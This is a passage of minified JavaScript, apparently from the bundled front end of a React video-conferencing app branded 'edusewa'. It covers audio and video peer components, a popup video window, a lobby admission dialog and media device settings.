t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=bl(e);if(t){var o=bl(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return gl(this,n)}}function gl(e,t){return!t||"object"!==pl(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function bl(e){return(bl=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var yl,wl=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&hl(e,t)}(i,e);var t,n,r,a=vl(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),(t=a.call(this,e))._audioTrack=null,t._audioOutputDevice=null,t}return t=i,(n=[{key:"render",value:function(){return o.a.createElement("audio",{ref:"audio",autoPlay:!0})}},{key:"componentDidMount",value:function(){var e=this.props,t=e.audioTrack,n=e.audioOutputDevice;this._setTrack(t),this._setOutputDevice(n)}},{key:"componentDidUpdate",value:function(e){if(e!==this.props){var t=this.props,n=t.audioTrack,r=t.audioOutputDevice;this._setTrack(n),this._setOutputDevice(r)}}},{key:"_setTrack",value:function(e){if(this._audioTrack!==e){this._audioTrack=e;var t=this.refs.audio;if(e){var n=new MediaStream;e&&n.addTrack(e),t.srcObject=n}else t.srcObject=null}}},{key:"_setOutputDevice",value:function(e){if(this._audioOutputDevice!==e){this._audioOutputDevice=e;var t=this.refs.audio;e&&"function"==typeof t.setSinkId&&t.setSinkId(e)}}}])&&ml(t.prototype,n),r&&ml(t,r),i}(o.a.PureComponent);function Sl(e,t,n,r){yl||(yl="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:yl,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var Ol,Ml=Object(a.connect)((function(e){return{micConsumers:de(e),audioOutputDevice:e.settings.selectedAudioOutputDevice}}),null,null,{areStatesEqual:function(e,t){return t.consumers===e.consumers&&t.room.spotlights===e.room.spotlights&&t.settings.selectedAudioOutputDevice===e.settings.selectedAudioOutputDevice}})((function(e){var t=e.micConsumers,n=e.audioOutputDevice;return Sl("div",{"data-component":"AudioPeers"},void 0,t.map((function(e){return Sl(wl,{audioTrack:e.track,audioOutputDevice:n},e.id)})))})),Cl=n("8dc79106febafa855a11"),kl=n.n(Cl);function Pl(e,t,n,r){Ol||(Ol="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Ol,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var xl,Al=Object(a.connect)((function(e){return{consumer:e.consumers[e.room.fullScreenConsumer],toolbarsVisible:e.room.toolbarsVisible,permanentTopBar:e.settings.permanentTopBar}}),(function(e){return{toggleConsumerFullscreen:function(t){t&&e(d.I(t.id))}}}),null,{areStatesEqual:function(e,t){return t.consumers[t.room.fullScreenConsumer]===e.consumers[e.room.fullScreenConsumer]&&t.room.toolbarsVisible===e.room.toolbarsVisible&&t.settings.permanentTopBar===e.settings.permanentTopBar}})(Object(s.a)((function(e){return{root:{position:"absolute",top:0,left:0,height:"100%",width:"100%",zIndex:2e4},controls:{position:"absolute",zIndex:20020,right:0,top:0,display:"flex",flexDirection:"row",justifyContent:"flex-start",alignItems:"center",padding:e.spacing(1)},button:{flex:"0 0 auto",margin:"0.2vmin",borderRadius:2,backgroundColor:"rgba(255, 255, 255, 0.7)",cursor:"pointer",transitionProperty:"opacity, background-color",transitionDuration:"0.15s",width:"5vmin",height:"5vmin",opacity:0,"&.visible":{opacity:1}},icon:{fontSize:"5vmin"},incompatibleVideo:{position:"absolute",zIndex:20010,top:0,bottom:0,left:0,right:0,display:"flex",flexDirection:"column",justifyContent:"center",alignItems:"center","& p":{padding:"6px 12px",borderRadius:6,userSelect:"none",pointerEvents:"none",fontSize:15,color:"rgba(255, 255, 255, 0.55)"}}}}))((function(e){var t=e.advancedMode,n=e.consumer,r=e.toggleConsumerFullscreen,o=e.toolbarsVisible,a=e.permanentTopBar,i=e.classes;if(!n)return null;var l=Boolean(n)&&!n.locallyPaused&&!n.remotelyPaused;return Pl("div",{className:i.root},void 0,Pl("div",{className:i.controls},void 0,Pl("div",{className:ze()(i.button,{visible:o||a}),onClick:function(e){e.stopPropagation(),r(n)}},void 0,Pl(kl.a,{className:i.icon}))),Pl(la,{advancedMode:t,videoContain:!0,consumerSpatialLayers:n?n.spatialLayers:null,consumerTemporalLayers:n?n.temporalLayers:null,consumerCurrentSpatialLayer:n?n.currentSpatialLayer:null,consumerCurrentTemporalLayer:n?n.currentTemporalLayer:null,consumerPreferredSpatialLayer:n?n.preferredSpatialLayer:null,consumerPreferredTemporalLayer:n?n.preferredTemporalLayer:null,videoMultiLayer:n&&"simple"!==n.type,videoTrack:n&&n.track,videoVisible:l,videoCodec:n&&n.codec,videoScore:n?n.score:null}))}))),El=n("235ef2b9b87705660668"),Tl=n.n(El);function jl(e){return(jl="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function _l(e,t,n,r){xl||(xl="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:xl,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Nl(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Il(e,t){return(Il=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Rl(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Fl(e);if(t){var o=Fl(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Ll(this,n)}}function Ll(e,t){return!t||"object"!==jl(t)&&"function"!=typeof t?Dl(e):t}function Dl(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Fl(e){return(Fl=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Bl(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Vl=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&Il(e,t)}(a,e);var t,n,r,o=Rl(a);function a(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,a),Bl(Dl(t=o.call(this,e)),"handleToggleFullscreen",(function(){t.fullscreen.fullscreenElement?t.fullscreen.exitFullscreen():t.fullscreen.requestFullscreen(t.window.document.documentElement)})),Bl(Dl(t),"handleFullscreenChange",(function(){t.setState({fullscreen:null!==t.fullscreen.fullscreenElement})})),t.container=document.createElement("div"),t.window=null,t.windowCheckerInterval=null,t.released=!1,t.fullscreen=null,t.state={mounted:!1,fullscreen:!1},t}return t=a,(n=[{key:"render",value:function(){var e=this.props.classes;return this.state.mounted?Tl.a.createPortal([_l("div",{className:e.root},"newwindow",_l("div",{className:e.controls},void 0,this.fullscreen.fullscreenEnabled&&_l("div",{className:e.button,onClick:this.handleToggleFullscreen,"data-tip":"Fullscreen","data-place":"right","data-type":"dark"},void 0,this.state.fullscreen?_l(kl.a,{className:e.icon}):_l(fa.a,{className:e.icon}))),this.props.children)],this.container):null}},{key:"componentDidMount",value:function(){this.openChild(),this.setState({mounted:!0}),this.fullscreen=new y(this.window.document),this.fullscreen.fullscreenEnabled&&this.fullscreen.addEventListener("fullscreenchange",this.handleFullscreenChange)}},{key:"openChild",value:function(){var e,t=this,n=this.props,r=n.url,o=n.title,a=n.name,i=n.aspectRatio,l=n.features,s=n.onBlock,c=n.center;if(l.width="800px",l.height="".concat(800/i,"px"),"parent"===c)l.left=window.top.outerWidth/2+window.top.screenX-l.width/2,l.top=window.top.outerHeight/2+window.top.screenY-l.height/2;else if("screen"===c){var u=void 0!==window.screenLeft?window.screenLeft:window.screen.left,d=void 0!==window.screenTop?window.screenTop:window.screen.top,f=window.innerWidth?window.innerWidth:document.documentElement.clientWidth?document.documentElement.clientWidth:window.screen.width,p=window.innerHeight?window.innerHeight:document.documentElement.clientHeight?document.documentElement.clientHeight:window.screen.height;l.left=f/2-l.width/2+u,l.top=p/2-l.height/2+d}this.window=window.open(r,a,(e=l,Object.keys(e).reduce((function(t,n){var r=e[n];return"boolean"==typeof r?t.push("".concat(n,"=").concat(r?"yes":"no")):t.push("".concat(n,"=").concat(r)),t}),[]).join(","))),this.windowCheckerInterval=setInterval((function(){t.window&&!t.window.closed||t.release()}),50),this.window?(this.window.document.title=o,this.window.document.body.appendChild(this.container),this.props.copyStyles&&setTimeout((function(){return e=document,n=t.window.document,void Array.from(e.styleSheets).forEach((function(t){var r;try{r=t.cssRules}catch(e){}if(r){var o=e.createElement("style");Array.from(t.cssRules).forEach((function(t){var n=t.cssText,r=t.type,a=n;[3,5].includes(r)&&(a=n.split("url(").map((function(e){return"/"===e[1]?"".concat(e.slice(0,1)).concat(window.location.origin).concat(e.slice(1)):e})).join("url(")),o.appendChild(e.createTextNode(a))})),n.head.appendChild(o)}else if(t.href){var a=e.createElement("link");a.rel="stylesheet",a.href=t.href,n.head.appendChild(a)}}));var e,n}),0),this.window.addEventListener("beforeunload",(function(){return t.release()}))):"function"==typeof s&&s(null)}},{key:"componentWillUnmount",value:function(){this.window&&(this.fullscreen&&this.fullscreen.fullscreenEnabled&&this.fullscreen.removeEventListener("fullscreenchange",this.handleFullscreenChange),this.window.close())}},{key:"release",value:function(){if(!this.released){this.released=!0,clearInterval(this.windowCheckerInterval);var e=this.props.onUnload;"function"==typeof e&&e(null)}}}])&&Nl(t.prototype,n),r&&Nl(t,r),a}(o.a.PureComponent);Bl(Vl,"defaultProps",{url:"",name:"edusewa",title:"edusewa",features:{width:"800px",height:"600px"},onBlock:null,onUnload:null,center:"parent",copyStyles:!0});var Ul,Hl=Object(s.a)((function(e){return{root:{position:"absolute",top:0,left:0,height:"100%",width:"100%",zIndex:2e4},controls:{position:"absolute",zIndex:20020,right:0,top:0,display:"flex",flexDirection:"row",justifyContent:"flex-start",alignItems:"center",padding:e.spacing(1)},button:{flex:"0 0 auto",margin:"0.2vmin",borderRadius:2,backgroundColor:"rgba(255, 255, 255, 0.7)",cursor:"pointer",transitionProperty:"opacity, background-color",transitionDuration:"0.15s",width:"5vmin",height:"5vmin"},icon:{fontSize:"5vmin"},incompatibleVideo:{position:"absolute",zIndex:20010,top:0,bottom:0,left:0,right:0,display:"flex",flexDirection:"column",justifyContent:"center",alignItems:"center","& p":{padding:"6px 12px",borderRadius:6,userSelect:"none",pointerEvents:"none",fontSize:15,color:"rgba(255, 255, 255, 0.55)"}}}}))(Vl);function zl(e){return(zl="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Wl(e,t,n,r){Ul||(Ul="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Ul,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function $l(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function ql(e,t){return(ql=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Yl(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Kl(e);if(t){var o=Kl(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return Gl(this,n)}}function Gl(e,t){return!t||"object"!==zl(t)&&"function"!=typeof t?function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}(e):t}function Kl(e){return(Kl=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}var Xl,Jl=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),t&&ql(e,t)}(i,e);var t,n,r,a=Yl(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),(t=a.call(this,e))._videoTrack=null,t.video=o.a.createRef(),t}return t=i,(n=[{key:"render",value:function(){var e=this.props,t=e.videoVisible,n=e.videoProfile,r=e.classes;return Wl("div",{className:r.root},void 0,o.a.createElement("video",{ref:this.video,className:ze()(r.video,{hidden:!t,loading:"none"===n}),autoPlay:!0,playsInline:!0,muted:Boolean(!0)}))}},{key:"componentDidMount",value:function(){var e=this.props.videoTrack;this._setTracks(e)}},{key:"componentDidUpdate",value:function(e){if(e!==this.props){var t=this.props.videoTrack;this._setTracks(t)}}},{key:"_setTracks",value:function(e){if(this._videoTrack!==e){this._videoTrack=e;var t=this.video.current;if(e){var n=new MediaStream;n.addTrack(e),t.srcObject=n}else t.srcObject=null}}}])&&$l(t.prototype,n),r&&$l(t,r),i}(o.a.PureComponent),Ql=Object(s.a)((function(){return{root:{position:"relative",flex:"100 100 auto",height:"100%",width:"100%",display:"flex",flexDirection:"column",overflow:"hidden"},video:{flex:"100 100 auto",height:"100%",width:"100%",objectFit:"contain",userSelect:"none",transitionProperty:"opacity",transitionDuration:".15s",backgroundColor:"rgba(0, 0, 0, 1)","&.hidden":{opacity:0,transitionDuration:"0s"},"&.loading":{filter:"blur(5px)"}}}}))(Jl);function Zl(e,t,n,r){Xl||(Xl="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:Xl,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var es,ts=Object(a.connect)((function(e){return{consumer:e.consumers[e.room.windowConsumer],aspectRatio:e.settings.aspectRatio}}),(function(e){return{toggleConsumerWindow:function(){e(d.J())}}}),null,{areStatesEqual:function(e,t){return t.consumers[t.room.windowConsumer]===e.consumers[e.room.windowConsumer]&&t.settings.aspectRatio===e.settings.aspectRatio}})((function(e){var t=e.advancedMode,n=e.consumer,r=e.aspectRatio,o=e.toggleConsumerWindow;if(!n)return null;var a=Boolean(n)&&!n.locallyPaused&&!n.remotelyPaused;return Zl(Hl,{onUnload:o,aspectRatio:r},void 0,Zl(Ql,{advancedMode:t,consumerSpatialLayers:n?n.spatialLayers:null,consumerTemporalLayers:n?n.temporalLayers:null,consumerCurrentSpatialLayer:n?n.currentSpatialLayer:null,consumerCurrentTemporalLayer:n?n.currentTemporalLayer:null,consumerPreferredSpatialLayer:n?n.preferredSpatialLayer:null,consumerPreferredTemporalLayer:n?n.preferredTemporalLayer:null,videoMultiLayer:n&&"simple"!==n.type,videoTrack:n&&n.track,videoVisible:a,videoCodec:n&&n.codec,videoScore:n?n.score:null}))})),ns=n("937d726c1c2880f2c2ec"),rs=n("5033cead807f05d3635d"),os=n("c20cb9ad2a6d30ec5986"),as=n("6e86753cc35d11eb3233"),is=n("6ff4e1147c3741f130e5"),ls=n("ef4865002b343d63dc0c"),ss=n("58b248545df1276bc39a"),cs=n("ecad9051054967dddd1d"),us=n("d8682765e772da6a405c"),ds=n("6f09b6022c7c407b8f03"),fs=n("004a460c9f0136b8c8bd"),ps=n("35e9940b345f51def216");function ms(e,t,n,r){es||(es="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:es,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}var hs,vs=ms(n.n(ps).a,{}),gs=Object(Ne.b)(Object(a.connect)((function(e,t){var n=t.id,r=Pe(Ie.a.PROMOTE_PEER);return function(e){return{peer:e.lobbyPeers[n],promotionInProgress:e.room.lobbyPeersPromotionInProgress,canPromote:r(e)}}}),null,null,{areStatesEqual:function(e,t){return t.room===e.room&&t.peers===e.peers&&t.me.roles===e.me.roles&&t.lobbyPeers===e.lobbyPeers}})(Object(s.a)((function(){return{root:{alignItems:"center"}}}))((function(e){var t=e.roomClient,n=e.peer,r=e.promotionInProgress,o=e.canPromote,a=e.classes,i=Object(xe.a)(),l=n.picture||Ze;return ms(cs.a,{className:ze()(a.root),button:!0,alignItems:"flex-start"},n.peerId,ms(ds.a,{},void 0,ms(fs.a,{alt:"Peer avatar",src:l})),ms(us.a,{primary:n.displayName}),ms(ir.a,{title:i.formatMessage({id:"tooltip.admitFromLobby",defaultMessage:"Click to let them in"})},void 0,ms(ft.a,{disabled:!o||n.promotionInProgress||r,color:"primary",onClick:function(e){e.stopPropagation(),t.promoteLobbyPeer(n.id)}},void 0,vs)))}))));function bs(e,t,n,r){hs||(hs="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:hs,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function ys(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var ws,Ss=bs(rs.a,{id:"form-dialog-title"},void 0,bs(w.a,{id:"room.lobbyAdministration",defaultMessage:"Lobby administration"})),Os=bs(ss.a,{component:"div"},void 0,bs(w.a,{id:"room.peersInLobby",defaultMessage:"Participants in Lobby"})),Ms=bs(as.a,{},void 0,bs(is.a,{gutterBottom:!0},void 0,bs(w.a,{id:"room.lobbyEmpty",defaultMessage:"There are currently no one in the lobby"}))),Cs=bs(w.a,{id:"label.promoteAllPeers",defaultMessage:"Promote all"}),ks=bs(w.a,{id:"label.close",defaultMessage:"Close"}),Ps={handleCloseLockDialog:d.p,handleAccessCode:d.e},xs=Object(Ne.b)(Object(a.connect)((function(){var e=Pe(Ie.a.PROMOTE_PEER);return function(t){return{room:t.room,lobbyPeers:ae(t),canPromote:e(t)}}}),Ps,null,{areStatesEqual:function(e,t){return t.room===e.room&&t.me.roles===e.me.roles&&t.peers===e.peers&&t.lobbyPeers===e.lobbyPeers}})(Object(s.a)((function(e){var t;return{root:{},dialogPaper:(t={width:"30vw"},ys(t,e.breakpoints.down("lg"),{width:"40vw"}),ys(t,e.breakpoints.down("md"),{width:"50vw"}),ys(t,e.breakpoints.down("sm"),{width:"70vw"}),ys(t,e.breakpoints.down("xs"),{width:"90vw"}),t),lock:{padding:e.spacing(2)}}}))((function(e){var t=e.roomClient,n=e.room,r=e.handleCloseLockDialog,o=e.lobbyPeers,a=e.canPromote,i=e.classes;return bs(ns.a,{className:i.root,open:n.lockDialogOpen,onClose:function(){return r(!1)},classes:{paper:i.dialogPaper}},void 0,Ss,o.length>0?bs(ls.a,{dense:!0,subheader:Os},void 0,o.map((function(e){return bs(gs,{id:e},e)}))):Ms,bs(os.a,{},void 0,bs(Re.a,{disabled:0===o.length||!a||n.lobbyPeersPromotionInProgress,onClick:function(){return t.promoteAllLobbyPeers()},color:"primary"},void 0,Cs),bs(Re.a,{onClick:function(){return r(!1)},color:"primary"},void 0,ks)))})))),As=n("39ee85bbe58e32f30b78"),Es=n("7f1e5b8b7e153fb9be55"),Ts=n("76e336e8d327479d9dbc"),js=n("1b4947d16bbaf85cb8db"),_s=n("1a661b4d25e85fc8b8d4"),Ns=n("9d316ebc33f5187e30d0"),Is=n("40adfee730b536e75ddb"),Rs=n("0b25eed4e425475e9ff9"),Ls=n("8eef12c383e3c845d72d"),Ds=n.n(Ls),Fs=n("80e80f602055becd595c"),Bs=n.n(Fs),Vs=n("86e872c5125e2efac7b0");function Us(e,t,n,r){ws||(ws="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103);var o=e&&e.defaultProps,a=arguments.length-3;if(t||0===a||(t={children:void 0}),1===a)t.children=r;else if(a>1){for(var i=new Array(a),l=0;l<a;l++)i[l]=arguments[l+3];t.children=i}if(t&&o)for(var s in o)void 0===t[s]&&(t[s]=o[s]);else t||(t=o||{});return{$$typeof:ws,type:e,key:void 0===n?null:""+n,ref:null,props:t,_owner:null}}function Hs(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,a=[],i=!0,l=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(a.push(r.value),!t||a.length!==t);i=!0);}catch(e){l=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(l)throw o}}return a}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return zs(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return zs(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function zs(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var Ws,$s=Object(s.a)({root:{color:"#3880ff",height:2,padding:"15px 0"},track:{height:2},rail:{height:2,opacity:.2},mark:{backgroundColor:"#bfbfbf",height:10,width:3,marginTop:-3},markActive:{opacity:1,backgroundColor:"currentColor"}})(Is.a),qs=Us(Ds.a,{}),Ys=Us(Bs.a,{}),Gs=Us(Ts.a,{},void 0,Us(w.a,{id:"settings.resolution",defaultMessage:"Select your video resolution"})),Ks=Us(Ts.a,{},void 0,Us(w.a,{id:"settings.screenSharingFrameRate",defaultMessage:"Select your screen sharing frame rate"})),Xs=Us(Ds.a,{}),Js=Us(Bs.a,{}),Qs={setEchoCancellation:As.d,setAutoGainControl:As.b,setNoiseSuppression:As.f,setVoiceActivatedUnmute:As.o},Zs=Object(Ne.b)(Object(a.connect)((function(e){return{me:e.me,volume:e.peerVolumes[e.me.id],settings:e.settings}}),Qs,null,{areStatesEqual:function(e,t){return t.me===e.me&&t.settings===e.settings&&t.peerVolumes[t.me.id]===e[e.me.id]}})(Object(s.a)((function(e){return{setting:{padding:e.spacing(2)},margin:{height:e.spacing(3)},root:{width:"100%",backgroundColor:e.palette.background.paper},switchLabel:{justifyContent:"space-between",flex:"auto",display:"flex",padding:e.spacing(1)},nested:{display:"block",paddingTop:0,paddingBottom:0,paddingLeft:"25px",paddingRight:"25px"},formControl:{display:"flex"}}}))((function(e){var t,n,r,a=e.setEchoCancellation,i=e.setAutoGainControl,l=e.setNoiseSuppression,s=e.setVoiceActivatedUnmute,c=e.roomClient,u=e.me,d=e.volume,f=e.settings,p=e.classes,m=Object(xe.a)(),h=Hs(o.a.useState(!1),2),v=h[0],g=h[1],b=Hs(o.a.useState(!1),2),y=b[0],w=b[1],S=[{value:"low",label:m.formatMessage({id:"label.low",defaultMessage:"Low"})},{value:"medium",label:m.formatMessage({id:"label.medium",defaultMessage:"Medium"})},{value:"high",label:m.formatMessage({id:"label.high",defaultMessage:"High (HD)"})},{value:"veryhigh",label:m.formatMessage({id:"label.veryHigh",defaultMessage:"Very high (FHD)"})},{value:"ultra",label:m.formatMessage({id:"label.ultra",defaultMessage:"Ultra (UHD)"})}];return t=u.webcamDevices?Object.values(u.webcamDevices):[],n=u.audioDevices?Object.values(u.audioDevices):[],r=u.audioOutputDevices?Object.values(u.audioOutputDevices):[],Us(o.a.Fragment,{},void 0,Us("form",{className:p.setting,autoComplete:"off"},void 0,Us(js.a,{className:p.formControl},void 0,Us(Ns.a,{value:f.selectedWebcam||"",onChange:function(e){e.target.value&&c.updateWebcam({restart:!0,newDeviceId:e.target.value})},displayEmpty:!0,name:m.formatMessage({id:"settings.camera",defaultMessage:"Camera"}),autoWidth:!0,className:p.selectEmpty,disabled:0===t.length||u.webcamInProgress},void 0,t.map((function(e,t){return Us(Es.a,{value:e.deviceId},t,e.label)}))),Us(Ts.a,{},void 0,t.length>0?m.formatMessage({id:"settings.selectCamera",defaultMessage:"Select video device"}):m.formatMessage({id:"settings.cantSelectCamera",defaultMessage:"Unable to select video device"}))),Us(ls.a,{className:p.root,component:"nav"},void 0,Us(cs.a,{button:!0,onClick:function(){return w(!y)}},void 0,Us(us.a,{primary:m.formatMessage({id:"settings.showAdvancedVideo",defaultMessage:"Advanced video settings"})}),y?qs:Ys),Us(Rs.a,{in:y,timeout:"auto"},void 0,Us(js.a,{className:p.formControl},void 0,Us(Ns.a,{value:f.resolution||"",onChange:function(e){e.target.value&&c.updateWebcam({newResolution:e.target.value})},name:"Video resolution",autoWidth:!0,className:p.selectEmpty},void 0,S.map((function(e,t){return Us(Es.a,{value:e.value},t,e.label)}))),Gs),Us(js.a,{className:p.formControl},void 0,Us(Ns.a,{value:f.screenSharingFrameRate||"",onChange:function(e){e.target.value&&c.updateScreenSharing({newFrameRate:e.target.value})},name:"Frame rate",autoWidth:!0,className:p.selectEmpty},void 0,[1,5,10,15,20,25,30].map((function(e){return Us(Es.a,{value:e},e,e)}))),Ks)))),Us("form",{className:p.setting,autoComplete:"off"},void 0,Us(js.a,{className:p.formControl},void 0,Us(Ns.a,{value:f.selectedAudioDevice||"",onChange:function(e){e.target.value&&c.updateMic({restart:!0,newDeviceId:e.target.value})},displayEmpty:!0,name:m.formatMessage({id:"settings.audio",defaultMessage:"Audio input device"}),autoWidth:!0,className:p.selectEmpty,disabled:0===n.length||u.audioInProgress},void 0,n.map((function(e,t){return Us(Es.a,{value:e.deviceId},t,""===e.label?t+1:e.label)}))),Us(Ts.a,{},void 0,n.length>0?m.formatMessage({id:"settings.selectAudio",defaultMessage:"Select audio input device"}):m.formatMessage({id:"settings.cantSelectAudio",defaultMessage:"Unable to select audio input device"}))),"audioOutputSupportedBrowsers"in window.config&&window.config.audioOutputSupportedBrowsers.includes(u.browser.name)&&Us(js.a,{className:p.formControl},void 0,Us(Ns.a,{value:f.selectedAudioOutputDevice||"",onChange:function(e){e.target.value&&c.changeAudioOutputDevice(e.target.value)},displayEmpty:!0,name:m.formatMessage({id:"settings.audioOutput",defaultMessage:"Audio output device"}),autoWidth:!0,className:p.selectEmpty,disabled:0===r.length||u.audioOutputInProgress},void 0,r.map((function(e,t){return Us(Es.a,{value:e.deviceId},t,e.label)}))),Us(Ts.a,{},void 0,r.length>0?m.formatMessage({id:"settings.selectAudioOutput",defaultMessage:"Select audio output device"}):m.formatMessage({id:"settings.cantSelectAudioOutput",defaultMessage:"Unable to select audio output device"}))),Us(ls.a,{className:p.root,component:"nav"},void 0,Us(cs.a,{button:!0,onClick:function(){return g(!v)}},void 0,Us(us.a,{primary:m.formatMessage({id:"settings.showAdvancedAudio",defaultMessage:"Advanced audio settings"})}),v?Xs:Js),Us(Rs.a,{in:v,timeout:"auto"},void 0,Us(ls.a,{component:"div"},void 0,Us(cs.a,{className:p.nested},void 